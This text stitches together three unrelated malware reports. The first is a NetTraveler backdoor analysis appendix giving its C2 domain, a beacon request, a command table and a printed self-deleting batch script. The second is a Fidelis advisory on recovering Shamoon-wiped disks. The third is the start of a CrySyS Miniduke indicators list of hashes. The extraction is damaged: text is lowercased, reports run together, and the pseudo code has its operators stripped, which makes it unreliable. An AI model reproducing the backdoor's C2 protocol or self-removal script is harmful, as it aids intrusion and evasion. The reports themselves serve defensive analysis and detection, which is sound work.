the module is to clearly a backdoor application that enables an attacker to manage files, get infor- mation about local disk drives, download and start new executables.
this backdoor is probably authored by the same developer who created the Gh0st / Zegost rAt.
technicAl detAils this module has 2 export functions: JustTemp- fun and servicemain.
module main function as well as servicemain are empty procedures.
so far, all functionality of the module is located in JusttempFun function.
meanwhile, there is another known malicious dll which has exactly these export names - Gh0st rAt, that was also developed by chinese.
When this module is loaded with xbox loader described above execution is started with Just- tempFun exported function.
this function begins with deobfuscation of the strings used further: pitgay.minidns.net 8090BBBBBBBBBBBB GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG SakerEvent FFFFFFFFFFFFFFFF Proxy HHHHHHHHHHHHHHHH obviously pitgay.minidns.net is the cc server domain name.
8090 is the port the malware con- nects to.
As for the GGG..., FFF... and hhh... strings, according to the further code analysis they are used as a placeholders for the hardcode proxy settings: the FFF... placeholder may contain Proxy string instead of F sequence which works as a flag to use the proxy settings from the GGG... placeholder in the form that wininet accepts (according to msdn, the format is httphttp:// http_proxy other).
the hhh... placeholder is for proxy username and password.
the thread collects information about the local system, such as os version cPu type 44 The NeTTraveler used and available memory local system name used and available disk space of the drive c:\ the last value is converted to a hexstring of 8 characters and xor-ed with current computer name.
the purpose of this value is unclear.
then the information collected before is encrypt- ed using simple string obfuscation algorithm, shown below in a pseudo code: void ObfuscateString(char strIn, char strOut, int nLen)  char c for (i0i nLen i)  c  strIn[i]  32 if(c  9) strOut[2i]  c0x30 else strOut[2i]  c0x37 if(strIn[i]  9) strOut[2i1]  strIn[i]0x30 else strOut[2i1]  strIn[i]0x37   this algorithm not only adds obfuscation but also adds some redundancy, which doubles the size of the input string.
the module attempts to connect to a cc server and issue using the following url: http://pitgay.minidns.net:8090/3010... Also, it uses a hardcoded user-Agent string.
there is not query string parameters, the data is transferred in a form of cGi path consisting of hex numbers only and prefixed with 3010, which makes such requests rather unique.
3010 most likely defines client request id.
here is how a request may look: GET /301000000000F0FD...0000000000000000000 000000 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Win- dows NT 5.0 .NET CLR 1.1.4322) Host: tsgoogoo.net Host: pitgay.minidns.net:8090 Cache-Control: no-cache the module checks the server response code and if that is httP 200, it reads 2 dWord values (lets call them ParamA and Paramb) from the the server response.
the first dWord (ParamA) defines the command and following execution path.
below is the inte- ger values and commands description: 45 APPendix A: mAlWAre technicAl AnAlysis 1020: Shutdown 1021: Shutdown both 1020 and 1021 commands are used to interrupt execution of the module and terminate the main thread.
the module also sets local thread privileges to enable global system shut- down, however this is not used later and proba- bly represents some remains of the code written earlier or another variant of the code.
this is also confirmed by by the shutdown procedure exe- cuted afterwards, which is designed to disable Windows hook mechanism while it wasnt used previously anywhere in the code.
1022: Self-remove this command is used to self-remove current module and stop its execution.
it attempts to create a local batch file named del.bat with the following contents and run it: echo off ping /n 5 127.0.0.1 nul nul del /f/s/q/a CurrentModuleDir\service.exe nul del /f/s/q/a CurrentModuleDir\service.dll nul del 0 /s/q/a/f del.bat Please note non-standard way to call Windows command line interpreter which starts from re- direction of output to nul virtual device.
Also, the command arguments are not separated with space or tab characters, and it might look invalid, however cmd.exe on Windows xP, Windows 7 and Windows 8 executed it correctly without a problem.
1029: file manager the command spawns a new thread which opens a new session with the server to provide file management operations.
the new thread makes 2 httP Get requests to the server, which are identical to the 3010 request described above.
the only difference is the request id, which is 4001 and 4002 for the first and second requests correspondingly.
the output of the 4001 request is ignored, while request 4002 is interpreted.
the server response contains 2 dWord values: lets call them filecmdid and DataSize.
if data- size is non-zero the module fetches additional data which length is specified in the datasize option.
the Filecmdid defines which operation must be executed.
it can be one of the following values: 5001: Get drive information.
Provides informa- tion about specified disk drive: free space, drive type.
client command success code is 0, error code is 7004.
5002: Get file information.
Provides information about specified file: file times, attributes.
client command success code is 0, error code is 7003.
5003: Get directory information.
Provides information about specified directory: directory 46 The NeTTraveler times, attributes, full size.
client command suc- cess code is 0, error code is 7003.
5004: Get directory listing.
Provide simple di- rectory listing, which includes file names, sizes, last write time.
client command success code is 0, error code is 7001.
5006: create directory.
create a new directory, which full path is provided by the server.
client command success code is 0, error code is 7016.
5008: list drives.
list available disk drives with information about free space.
client command success code is 0, error code is not defined.
5009: run application.
run local application with path and command line arguments passed from the server.
client command success code is 0, error code is 7005.
5017: Get recursive directory listing.
Provide recursive directory listing.
client command suc- cess code is 0, error code is 7000.
5025: run pushed executable.
this command is used to save file pushed by the server and run instantly.
When this command is received the module checks if it can create a new file, which name is passed by the server response.
if it fails it submits error code 7003.
then it spawns a new thread which issues a new httP Post request with command id 3005 and system in- formation attached in the cGi Path.
the request of the server should contain file data to write to the already opened file and execute right away.
5026: upload file to the server.
the command is used to read local file and transfer it to the server.
it gets file information, including time- stamps and size and spawns a new thread.
if any of those operations fails the module reports er- ror code 7003 to the server.
otherwise it reports success code 0 and spawns a new thread.
the new thread reads the file specified in the request and uploads it to the server.
1039: Download and run new module.
the module uses Paramb as an integer value indicating a length of a string to read next from the server response.
the received string will be used as a newFilename.
then it reads another dWord value from the server response and interprets it as a size of the following data to read.
After that a new directory internet ex- plorer is created in the directory of the current running module.
then the module creates a new file using the value newFilename pushed by the server.
the module makes 2 attempts to start a new process: by calling createProcessA system APi and shellexecuteA if the previous call failed.
the code was designed to support more com- mands (1028, 1029, 1032, 1033, 1034, 1035, 1036), however they are now falling into com- mand 1029 handler and then ignored.
We cre- ated a chart showing a tree of commands de- pendencies: 47 APPendix A: mAlWAre technicAl AnAlysis the execution of this command processing thread continues in a loop until it is interrupt- ed by shutdown command coming from the server.
the code starts new loop iteration after hardcoded value of 30 seconds.
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Threat Advisory 1007 Rev.
2012-11-01 Recovering From Shamoon Copyright  2012 General Dynamics Fidelis Cybersecurity Solutions Page 1 of 9 Fidelis Threat Advisory 1007 RECOVERING FROM SHAMOON November 1, 2012 Document Status: FINAL Last Revised: 2012-11-01 Executive Summary The Shamoon malware has received considerable coverage in the past couple of months because of its destructive nature.
Despite assertions that it is the work of amateurs, it has had a major impact on companies believed to have been affected.
The basic functions of the malware are to infect, entrench, propagate, and wipe.
However because of the way the malware operates and how it is programmed to wipe, it can find itself being its own enemy.
It will wipe data found in the Documents and Settings folder and the System32 folder, and then use a signed driver for disk access to start wiping at the disk level.
Because the operating system needs certain files in the System32 folder to run, it was found that infected hosts will always restart before the malware can wipe completely at the disk level.
Due to this it was possible to make a complete recovery of Shamoon-infected file systems to the state they were in before the wiping made the OS unbootable and unreadable.
In fact the majority of files outside of the System32 and Document and Settings folder are recoverable as well this provided the opportunity for a successful and fruitful analysis, investigation, and remediation effort.
Threat Overview According to community write-ups, the Shamoon malware appears to have been deployed against a couple of entities on or about August 15, 2012.
The malware had self-propagating qualities and was designed to overwrite data on disks attached to or accessible from targeted systems.
The malwares functionality, briefly summarized below, was covered in some detail in community postings, such as Kasperskys Securelist blog.
Analysis details and testing of an available sample of Shamoon by General Dynamics Fidelis Cybersecurity Solutions researchers revealed that the malwares wipe operations did not overwrite entire disks, but rather overwrote enough to prevent access to the affected file systems, along with substantial amounts of file data.
However, analysis indicated that some files were still intact after the malwares write operations and subsequent system reboot.
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2012-11-01 Recovering From Shamoon Copyright  2012 General Dynamics Fidelis Cybersecurity Solutions Page 2 of 9 Fidelis researchers surmised there might be a means of recovering file data from targeted systems from a forensic and investigative analysis point of view.
With this goal in mind, researchers tested several possible ways of restoring disk data critical to the access of the targeted disks file system.
What follows is a brief description of what the sample of the Shamoon malware does and a description and results of researchers file system recovery efforts.
Shamoon Wiper Functionality Actions: - Executes a copy of itself as a scheduled job - Deletes the file created for the scheduled job - Entrenches itself as a service - Execution of the entrenched file results in a dropped driver - The dropped driver is loaded and executed - The dropped driver facilitates disk access - The malware overwrites disk data to include the contents of \\Documents and Settings (user data) and \\Windows\system32 (system data) directories - The malware eventually overwrites the disks boot records (Master Boot Record (MBR) and Volume Boot Record (VBR)) (Note: Testing was accomplished on disks with one partition) - The malware appears to target user data first, then system data - The nature of the overwrites is such that the malware writes only a certain amount of data to targeted files, starting at the files beginning (Offset 0x0) and then writing a certain amount of data to other file locations - Fidelis researcher observations included the following: o At some point during the writing (wiping) process, the targeted system tries to read file data that has been overwritten, prompting an attempt to restore the involved file o The system asks the user for media containing system files when it cannot find the system files it is looking for o The targeted system eventually reboots, resulting an error on restart because of the overwritten boot records o The disks targeted in testing were not completely overwritten there was still apparently viable file data on the targeted disks o The result of the malwares operation was the prevention of accessing the targeted file system Note: The Shamoon sample Fidelis researchers had available looked very similar to that detailed in community write-ups.
However, as of the date of publication, researchers were still analyzing the available sample.
Therefore, differences between the available sample and others available to the community may become apparent in the future.
Analysis and Testing Overview Fidelis initially approached the Shamoon analysis strictly from a perspective of determining what forensic artifacts could be recovered from a targeted system.
The goal was at least a partial www.fidelissecurity.com www.threatgeek.com FidSecSys 1 800.652.4020 Threat Advisory 1007 Rev.
2012-11-01 Recovering From Shamoon Copyright  2012 General Dynamics Fidelis Cybersecurity Solutions Page 3 of 9 reconstruction of the events precipitating the Shamoon attack, and possibly using those events found on the targeted systems to determine a start of the attack, and a possible source.
Analysis revealed the possibility that some user data would be recovered as a side benefit to the forensic analysis process.
Three types of operating systems were used for testing purposes all testing occurred on laptops.
The laptops were wiped, had the operating system installed, and then had the Shamoon malware executed on the system.
The three operating systems used for testing were Windows XP, Windows 2003, and Windows 7.
The malware executed with no issues except on Windows 7.
The User Access Control (UAC) on the Windows 7 systems had to be turned off before the malware would execute and perform the wiping action as has been observed on other machines.
This has been noted by others in the community as well, specifically that Administrator access is needed for initially launching Shamoon.
Shamoon operation results in much of the data on the affected systems being overwritten with the fragmented image of a burning flag.
As has been detailed above, the wipe function will overwrite data within the Documents and Settings folder followed by the System32 folder, and then it will start the physical disk access and start the wiping at the disk level.
If the system restarts before the malware has completed wiping the disk then much of the data can still be recovered: each of our tests showed the system did restart before the disk was completely wiped.
The amount wiped from the host will never be the same from system to system, mainly because the size of the disk and partitions will all need to be taken into account.
VBR and File System Recovery Strategies The following is the view of the wiped disk for each of the operating systems that we tested: Fig 1.
Example of wiped of MBR and VBR wiped by Shamoon Malware.
Figure 1 was found at the MBR (Sector 0) and the VBR (Sector 63/56 (XP, 2003), and 2048/206848 (7)) of each of the operating systems (As well as throughout the drive).
Fidelis www.fidelissecurity.com www.threatgeek.com FidSecSys 1 800.652.4020 Threat Advisory 1007 Rev.
2012-11-01 Recovering From Shamoon Copyright  2012 General Dynamics Fidelis Cybersecurity Solutions Page 4 of 9 researchers decided to look further into the drive and find if there was any possibility of recovering files or logs that would help illuminate what happened to the systems, and if any artifacts of the malware could be recovered.
Note on the VBR: VBR stands for Volume Boot Record, and is made up of the boot sector and bootstrap code.
The boot sector takes up 1 sector on the drive the next 6 sectors on the drive are allocated for the bootstrap code.
In all 16 sectors are allocated in total for the VBR.
The VBR is created when a file system is created on a partition.
In this paper we will be covering the NTFS Boot Record.
The VBR is used to load machine code into RAM to start a program.
Normally this program is the operating system.
Keyword searches revealed that there were still files that would be recoverable on the system.
In particular it was found that registry files and headers were still on the disk.
After this, it was found that the Master File Table (MFT) was still, for the most part, intact.
Trying to avoid the long and laborious process of carving files from the disk, researchers decided that it would instead be worth the time to try and recover the file system.
When the Windows operating system is installed or an NTFS volume created, a backup copy of the VBR is written to the last sector of the volume.
This is a very important detail, as the forensic value of the VBR is substantial (See Figure 2).
The area that will contain the critical information is known as the Bios Parameter Block (BPB).
With this information it is possible to rebuild the file system as it existed before the wipe.
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2012-11-01 Recovering From Shamoon Copyright  2012 General Dynamics Fidelis Cybersecurity Solutions Page 5 of 9 EB 52 90 4E 54 46 53 20 20 20 20 00 02 08 00 00 00 00 00 00 00 F8 00 00 3F 00 FF 00 3F 00 00 00 00 00 00 00 80 00 80 00 C0 F8 F8 0D 00 00 00 00 00 00 0C 00 00 00 00 00 8C 8F DF 00 00 00 00 00 F6 00 00 00 01 00 00 00 26 FA CA 70 02 CB 70 44 00 00 00 00 [ Truncated for size ] 00 00 55 AA EB 52 90  Instruction to jump to boot code (Not necessary for our application) 4E 54 46 53 20 20 20 20  OEM Name (NTFS    ) 00 02  Bytes per sector, 0x0200  512 Bytes.
08  Sectors per cluster  8 F8  Media descriptor (Not necessary for our application) C0 F8 F8 0D 00 00 00 00  Total sectors in file system, 0x00DF8F8C0  234420416 Sectors (Add on the sector location of VBR for actual end of the file system, in this example the VBR is at sector 63 therefore the total sectors in the file system are 234420416  63  234420479) 00 00 0C 00 00 00 00 00  Starting cluster of the MFT, 0X000C0000  786432 Clusters.
786432  8 (Cluster size) 63 (VBR Sector)  6291519 Sectors 8C 8F DF 00 00 00 00 00  Starting cluster of the MFT mirror, 0x00DF8F8C  14651276.
14651276  8  63 117210271 Sectors F6  Size of MFT Entry, 246.
01  Index size, 1.
26 FA CA 70 02 CB 70 44  Serial number.
For more technical information on file systems and their forensic value, Brian Carriers book File System Forensic Analysis is an invaluable tool.
Fig 2.
Example of a broken down BPB found within the boot sector.
Just because the boot sector of the VBR is recoverable doesnt mean that everything on the file system will be restored to normal.
If a file was wiped by the malware then it will still be wiped, or partially wiped.
However files that werent wiped will be much easier and faster to recover then carving and the context of each file will be easy to interpret.
To recover or identify the backup VBR a search will need to be run across the image file.
It is preferable if the image file is a raw image as they are easier to edit then other image file formats.
The search was performed for the hex of the VBR file header, EB 52 90 4E 54 46 53 (RNTFS).
A few hits were found throughout the drive, and it appeared that there were multiple empty VBR templates throughout the system (Shown in Figure 3).
The correct VBR will likely be the one with information filled in from offset 10  80 (See Figure 2 to breakdown).
During testing it was found that the last hit was normally the correct VBR, as this would be the VBR found at the end of the volume.
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2012-11-01 Recovering From Shamoon Copyright  2012 General Dynamics Fidelis Cybersecurity Solutions Page 6 of 9 Fig 3.
Example of a blank VBR.
Note: On 2003 systems the boot backup is sometimes found halfway through the partition, a manual parsing of the file will need to be performed to confirm the VBR is legitimate for the partition.
Once the VBR was found we noted the offset and calculated the sector to locate the backup in our desired forensic program.
For the purposes of testing we used EnCase (v6.19.6).
Once the sector of the backup VBR is known, EnCase was started and the image of the infected system was loaded.
Within disk view we located the backup VBR and right clicked to add a manual partition as an NTFS file system.
The partition was added, the MFT read, and the file system appeared: www.fidelissecurity.com www.threatgeek.com FidSecSys 1 800.652.4020 Threat Advisory 1007 Rev.
2012-11-01 Recovering From Shamoon Copyright  2012 General Dynamics Fidelis Cybersecurity Solutions Page 7 of 9 Fig 4.
File system recovered within EnCase.
With the file system restored some relevant artifacts can be located now, and an actual computer forensic examination can take place.
This recovery can be successful without the use of the EnCase suite of forensic software as well.
Using a hex editor of your choice to repair the image, in our testing WinHex (16.6) was used.
Find the file header of the backup VBR within a file editor, copy from the header to footer of the boot sector the footer will always be 55 AA.
The size will be 512 bytes from header to footer.
Then depending on what operating system is being examined you can write the copied boot sector to the appropriate sector on the affected image.
Placing the boot sector into the correct location will be the trickiest part as incorrect placement will result in the file system not being recognized.
The boot sector should be placed at sector 63/56 for XP/2003, and at sector 2048/206848 for Windows 7.
After this is complete you will be able to add the image into the forensic program.
If the file system is not recognized then it is possible that the MBR will need to be reconstructed, though this is unlikely.
Before rebuilding the MBR try adding the image as a volume and not as a disk.
Note: Other recovery techniques are certainly viable as well.
There are automated partition rebuilding tools available, though some of these rely on a valid MBR to work properly (In this case that wouldnt be feasible).
Other options would be the fixboot command from the Windows Recovery Console found on a Windows OS disk.
What we have presented here are forensically sound methods that are easily repeatable and least damaging to the evidence/image.
Multiple Partition Recovery Strategies For testing purposes the system with Windows 2003 was set up with three different partitions.
We wanted to emulate the situation in which one would have multiple partitions on the computers, as is quite common.
Conceivably the malware should wipe all of these partitions as well, as has been seen within the code of the malware.
What we wanted to look at was the extent of the wiping on the partitions and whether the same techniques that were applied to a single partitioned drive would still apply on the multiple partitioned drive.
In theory each partition should be recoverable, as non-bootable partitions still create a VBR and place the backup at the end of the partition when a NTFS file system is installed.
After searching www.fidelissecurity.com www.threatgeek.com FidSecSys 1 800.652.4020 Threat Advisory 1007 Rev.
2012-11-01 Recovering From Shamoon Copyright  2012 General Dynamics Fidelis Cybersecurity Solutions Page 8 of 9 through the drive we found that there were three VBRs that all seemed to have corresponding information for the partitions that were originally created.
On our test system we found that EnCase was not adding the partitions in a way that would recognize the file system as it did for the other systems.
This could be because our boot sector was at sector 56 and not 63, or because the multiple partitions clash when trying to add them in.
We ended up having to edit the image by adding the backup boot sectors into the correct sector where the originals were found.
Partition Boot Sector Placed At Backup Boot Sector 1 (Primary) 56 41926079 2 41926080 62417879 3 62417880 82909679 Fig 5.
VBR Placement in Windows 2003 Note: The VBR placement for the next partition starts after the backup VBR of the preceding partition.
Once the VBRs were added correctly we proceeded to add the partitions into EnCase.
Fig 6.
Reconstructed file system of a Windows 2003 operating system wiped by Shamoon.
Note: EnCase gives default volume labels when added, so C, D, and E are respectively 1, 2, and 3.
The extent of the wiping appeared to be on the same level to what was found on single partitioned drives.
As mentioned before this was to be expected as the malware tries to wipe mounted and other volumes first and will then move to the primary volume (1/C).
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2012-11-01 Recovering From Shamoon Copyright  2012 General Dynamics Fidelis Cybersecurity Solutions Page 9 of 9 The Fidelis Take Fidelis researchers have developed a set of rules for detecting the Shamoon malware along the entire threat life cycle: initial infection, lateral propagation, and command and control communication.
The embedded malware detection engine also recognizes the variant of Shamoon malware analyzed.
All sensor configurations are capable of detecting the initial infection and the command and control communication, and the Fidelis XPS Internal Sensor is required for detecting the lateral movement of the malicious program.
Further Reading Shamoon the Wiper Copycats at Work (2012), retrieved 26 Oct 2012 from http://www.securelist.com/en/blog/208193786/Shamoon_the_Wiper_Copycats_at_Work Shamoon the Wiper in details, Tarakanov , Dmitry (2012), retrieved 26 Oct 2012 from http://www.securelist.com/en/blog/208193795/Shamoon_the_Wiper_in_details Shamoon the Wiper in details II, Tarakanov , Dmitry (2012), retrieved 26 Oct 2012 from http://www.securelist.com/en/blog/208193834/Shamoon_The_Wiper_further_details_Part_II Shamoon, a two-staged targeted attack (2012), retrieved 26 Oct 2012 from http://blog.seculert.com/2012/08/shamoon-two-stage-targeted-attack.html Shamoon Virus Most Destructive Ever To Hit A Business, Leon Panetta Warns (2012), retrieved from http://www.huffingtonpost.com/2012/10/11/shamoon-virus-leon- panetta_n_1960113.html Carrier, Brian (2005).
File System Forensic Analysis.
Upper Saddle River, NJ: Pearson Education Inc.
Technical Report by Laboratory of Cryptography and System Security (CrySyS Lab) http://www.crysys.hu/ Budapest University of Technology and Economics Department of Networked Systems and Services http://www.bme.hu/ Miniduke: Indicators v1.00 (Feb 27, 2013) Authors: CrySyS Malware Intelligence Team.
Based on joint work with Kaspersky Labs GREAT Team Document history 27/02/2013 Initial release Table of contents 1.
Introduction .............................................................................................................................................4 2.
Known malware samples.....................................................................................................................5 3.
Detection of the running malware ................................................................................................ 11 4.
CC communication ........................................................................................................................... 13 4.1.
Detection of CC communications..............................................................................................................15 4.2.
Initial CC communication ............................................................................................................................15 4.3.
Other indicators of CC communication: Google and Twitter queries......................................18 1.
Introduction Our malware analysis team in the CrySyS Lab, Budapest worked together with Kaspersky Labs on the analysis of the Miniduke malware.
Our participation in this research was justified by a detected Hungarian incident.
A detailed report on the results of our joint efforts has been published by Kaspersky Labs Securelist blog site (see link below).
The Kaspersky Labs report describes what we currently know about the operation of Miniduke including its stages, and also information on the CC infrastructure and communications.
In this report, we summarize the indicators of a Miniduke infection, and give specific hints on its detection.
The Kaspersky Labs report is available at https://www.securelist.com/en/blog/208194129/The_MiniDuke_Mystery_PDF_0_day _Government_Spy_Assembler_Micro_Backdoor 2.
Known malware samples The available malware samples are highly obfuscated, and compiled by a polymorphic compiler.
The attackers were able to produce new variants with only a few minutes difference between compile times.
Therefore the number of distinct samples could be very large.
bg_sthg.gif and bg_sthg.gif_dec refers to pieces of stage 2 of the malware, which are downloaded from the CC server by the stage 1 code.
bg_sthg.gif is a gif file that contains encrypted code, bg_sthg.gif is the corresponding decrypted file.
bg_sthg.gif is generally 24484 bytes long, while bg_sthg.gif_dec is  22784 bytes long.
3e71a9f492101bde28cf9f024d87b496 bg_aefk.gif a4ad6b55b1bc9e16123de1388f6ef9bf bg_aefk.gif.dec 92a2c993b7a1849f11e8a95defacd2f7 bg_afvd.gif 297ef5bf99b5e4fd413f3755ba6aad79 bg_afvd.gif.dec 06def6c642dcbd58d0291ac110a57274 bg_dafd.gif 2679e112f908fbf4ac96d87f7fdc46ca bg_dafd.gif.dec afe0190820b3edc296daefe6d1611051 bg_dasfs.gif e196fa056d1a728d9ba9654fbc482777 bg_dasfs.gif.dec 7049aa581874752093bb98850ff45dac bg_dfdsh.gif 441ee6a307e672c24d334d66cd7b2e1a bg_dfdsh.gif.dec e975e87bec844c882bf6d60604fc996b bg_dfell.gif a58e8e935341b6f5cc1369c616de3765 bg_dfell.gif.dec 0a2da3c2c6b94c925459bc5e32bbb03c bg_dfesik.gif d2f39019bfa05c7e71748d0624be9a94 bg_dfesik.gif.dec 0a5c9055c2b35bee78c911dfc29fe1a4 bg_dfeu.gif ecd349138a6ef7d7ca40b9ce70dbb575 bg_dfeu.gif.dec 21f16767e53da7fef8a1b5d4159256a9 bg_dfew.gif 935892bb70d954efdc5ee1b0c5f97184 bg_dfew.gif.dec bba6b0d31553cd8df0c45b85c0495816 bg_dfews.gif 48bbce47e4d2d51811ea99d5a771cd1a bg_dfews.gif.dec b47b36484cfb0ab38ef481e23275fafb bg_dflj.gif b68677e04fcc9103560bb0a5e5c7303f bg_dflj.gif.dec 5e757aa35087ca7c479c82d0d5502f51 bg_dfoiu.gif 27212d5e5d40a5e5c1742aac58dc59a8 bg_dfoiu.gif.dec 4193796cffa19e2e5cace58e9f10c599 bg_dfrio.gif aab06d4ab78336b7315201637d9f1b0e bg_dfrio.gif.dec 474fa3c28d867f7113c060020b3e268b bg_dfwe.gif 05d10323111f02233163a6742556c974 bg_dfwe.gif.dec f0b327565c25128ad15f9c378bc4ea60 bg_dsaf.gif d9b68522053396644bcb72448d6cf327 bg_dsaf.gif.dec af906032917674f1f39a260b2b9fe0fb bg_dsaffe.gif 6507f6b1e2ce05dccf329b8cab078071 bg_dsaffe.gif.dec 633b59e7b97ef4574804ca35669fbf95 bg_dsef.gif b100d530d67cfbe76394bb0160567382 bg_dsef.gif.dec 203a6ff36ee2cd58daf5680b5a6890ec bg_dsert.gif 2d552b20e8164f3d4250fd8871b11b0f bg_dsert.gif.dec 877a34931b087d04d387633824d9c813 bg_dwed.gif e990e0d1ee90cd10c4be7bfde6cc3e5a bg_dwed.gif.dec c8373db89be0a155673e0cd414442fc1 bg_edf.gif 8233c532bfcc4ccf2831765eae084409 bg_edf.gif.dec d39f2202b421561cfc36a8802184685c bg_edf_v2.gif 2d87ab160291664d62445548a2164c60 bg_edf_v2.gif.dec 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a4445f1ae3e2d5196eb4292121e6cf0d1cc5dad2 bg_kkf.gif.dec 7419bfc9d393b2a9fbd09c18ea4a31ce98d60342 bg_koe.gif 7e57c80574fdebf5f3fedce5a2ebb62d49de1345 bg_koe.gif.dec 5316a02c1e120885a2382e95a3eb0c1f8fd69551 bg_ldfe.gif 60efd28c07d07d10d50b5ad00c243e17e7f1707e bg_ldfe.gif.dec 862305dedb93100aee6ef07c858c3a0b6878620e bg_leo.gif 634a1649995309b9c7d163af627f7e39f42d5968 bg_leo.gif.dec 997d5765e4cc7475fa2cf64233af9b51ddf219f2 bg_lfe.gif 81c99d19ea8065cfff6dc76a950b9d1b25a5f7a9 bg_lfe.gif.dec c6fd105437e9ddd914721f3ba7fcbc6bef39067a bg_lkje.gif 6f530edc584a18df98ee7fade2dd03b610955e23 bg_lkje.gif.dec 8802cbff6f2b39932e9b699d89a6f3a407cd39a7 bg_lkjkef.gif c0c26060b4f003322f3cda9dee294fd6221b85da bg_lkjkef.gif.dec 1160010b1df2601fe176353be76ba1a922425dc6 bg_oef.gif edf74413a6e2763147184b5e1b8732537a854365 bg_oef.gif.dec 49989446d542b1face2c031a205a702178dc2496 bg_ojlro.gif ebe78cc14bb8e13374da4264c41df24dc0ceeaa7 bg_ojlro.gif.dec 071b67b2645e574f6fc5ba889c041bb2ee85f6d8 bg_qdf.gif 31ab6830f4e39c2c520ae55d4c4bffe0b347c947 bg_qdf.gif.dec 53d1c812510c51d0b6eec767d15f740ea54135b5 bg_qrg.gif 223c7eb7b9dde08ee028bba6552409ee144db54a bg_qrg.gif.dec be1a53afaab89f47a91a21b0d65415af1b5d1bff bg_rie.gif 3171957cfeb7b415f21b04f9a587b0c339b5c0e3 bg_rie.gif.dec 898a3e5e34eeb3349aa6f291c31195dc02bb9530 bg_ruie.gif f0f7d755add2305bceaacfe6840d61ccd5f03b0f bg_ruie.gif.dec 0b1e28ecd5b4eb14519470775dce965c63579640 bg_sasd.gif 683104d28bd5c52c53d2e6c710a7bd19676c28b8 bg_sasd.gif.dec ba884173e98a4f2b6af6acc7f702ead14b146960 bg_sdef.gif f30ba7eeebd97843f0bcf9c3930741fa29c132cd bg_sdef.gif.dec 6c889228219012b25387bf3e063136b994d2dcac bg_sdefk.gif e804f3bf72bfda867fd3725a82da6212e29dbfc4 bg_sdefk.gif.dec 07e26464e17a750bb60665c377b41efd23c440b6 bg_sfef.gif 827de388e0feabd92fe7bd433138aa35142bd01a bg_sfef.gif.dec 28ec7eb49f7af3ca7787e4566b144d8ea544a78d bg_ureio.gif 08a4baa154dc41d7dee9bd424c2679253c743ee3 bg_ureio.gif.dec 84fa36acb51a0569ed931f1db5d44ec907dcb624 bg_wdf.gif d81b0705d26390eb82188c03644786dd6f1a2a9e bg_wdf.gif.dec Figure 2  SHA1 checksum list of pieces of stage 2 of the known samples id.gif files are pieces of stage 3 codes prepared for specific victims with id used as an ID.
These are typically 334093 byte long files with a 13-byte long gif header.
Below, we list the hashes of these files in case of the decrypted files with .gif_dec extension, we list the hashes for the internal decrypted PE file.
07a9975d7d96ff3b56de024ab2017582 1109821546.gif 43cd449e3b0c1ecde8136eeb710de233 174239657.gif 85a645c42e2fcf718c211ebc6cbc71b8 2334309658.gif a9315dc0ff95809839af3b95e7de329d 2618653991.gif 92ff4df1d079a003ae2a8ac47dd5e81b 2627081433.gif bf0253ee830b498bd442c3b97aec1270 3100425864.gif c48d0822eedd75c9c56f688fb8a05259 3198217296.gif 44ee71de720fc1a50c919bc5a01c592d 3946889701.gif 626489f8cafacb1b24fe6ecf0db52f23 3979106736.gif 03f8485cacb0458194d2bbef9f33cc06 626088424.gif 738c60fff066934b6f33e368cfe9a88c 1109821546.gif_dec cf59ed2b5473281cc2e083eba3f4b662 174239657.gif_dec b8d1d74a0ad4985adaf9afe4c868ae0b 2334309658.gif_dec c79a35313238e71a17d19de979a0d63a 2618653991.gif_dec 18e64b8e5ce5bdd33ce8bd9e00af672c 2627081433.gif_dec 86ef8f5f62ae8590d6edf45e04806515 3100425864.gif_dec 4c6608203e751cf27f627220269d6835 3198217296.gif_dec 78e51be60eab2c6e952c9538a46ab521 3946889701.gif_dec b798c968cbfd53f878e13c7698610d9c 3979106736.gif_dec f5f84c0c7ae871c2aa3cfe25199da628 626088424.gif_dec 738c60fff066934b6f33e368cfe9a88c 1109821546.gif_dec 07a9975d7d96ff3b56de024ab2017582 1109821546.gif f78454d4ac3e4fe9ef5cac69b1ec43d7 4137794344.gif 811f66d6dd2c713073c0b0aebbe74ce8 4137794344.gif_dec Figure 3  MD5 checksums of pieces of stage 3 code 31a31f6be9c31cb2d02c04176eb500f1aba14dd0 174239657.gif 804701959a1dbfbbfc6d8142de850db9fce9a611 1109821546.gif ac4642885ca779e7b66b8bb6aa21d3c0396f7a1d 2334309658.gif d8c6d3e6988516595399003d1db0abd7df334d87 2618653991.gif 6cf8ca847ee317255a9084bb44ae3f38ef61e5c3 2627081433.gif 0fc29adc3aca39f32763096e090a6a69e50a716f 3100425864.gif 1df9b4dc693ce7250f51cbc7ced53ad0a6e1c587 3198217296.gif 9d716d2f8f1c2841a2707eba2ebadd01ed830030 3946889701.gif 497f9c688ed142ae91e354b3d9c9e13243a268b0 3979106736.gif b464fc5cab7a93e5607b2abb49f343e81f4fa2f1 626088424.gif 15c75472f160f082f6905d57a98de94c026e2c56 1109821546.gif_dec 00852745cb40730dc333124549a768b471dff4bc 174239657.gif_dec 8cce571ca74e4b0074c09acb814541a0192ea9a8 2334309658.gif_dec 781d0b12bbe0a862d4a5527cd85489551cfe5d31 2618653991.gif_dec e4add0b118113b2627143c7ef1d5b1327de395f1 2627081433.gif_dec 493d0660c9cf738be08209bfd56351d4cf075877 3100425864.gif_dec 118114446847ead7a2fe87ecb4943fdbdd2bbd1e 3198217296.gif_dec 0e263d80c46d5a538115f71e077a6175168abc5c 3946889701.gif_dec d22d80da6f042c4da3392a69c713ee4d64be8bc8 3979106736.gif_dec 71d059edb81acb6b65213386bda3e2bdc724fa0f 626088424.gif_dec 15c75472f160f082f6905d57a98de94c026e2c56 1109821546.gif_dec 804701959a1dbfbbfc6d8142de850db9fce9a611 1109821546.gif e17d004cd57f5f5eaa3652c926793d57ef88f1ec 4137794344.gif 416d1035168b99cc8ba7227d4c7c3c6bc1ce169a 4137794344.gif_dec Figure 4  SHA1 checksums of pieces of stage 3 code 3668b018b4bb080d1875aee346e3650a action_plan.pdf (Country: Belgium) 88292d7181514fda5390292d73da28d4 ASEM_seminar.pdf (Country: Hungary) 3f301758aa3d5d123a9ddbad1890853b EUAG_report.pdf (Country: Luxembourg) 0cdf55626e56ffbf1b198beb4f6ed559 report.pdf (Country: Spain) cf5a5239ada9b43592757c0d7bf66169 EUAG_report.pdf (Country: Belgium) c03bcb0cde62b3f45b4d772ab635e2b0 The 2013 Armenian Economic Association.pdf (Country: Belgium) Figure 5  MD5 checksums for known malicious documents (droppers) 3.
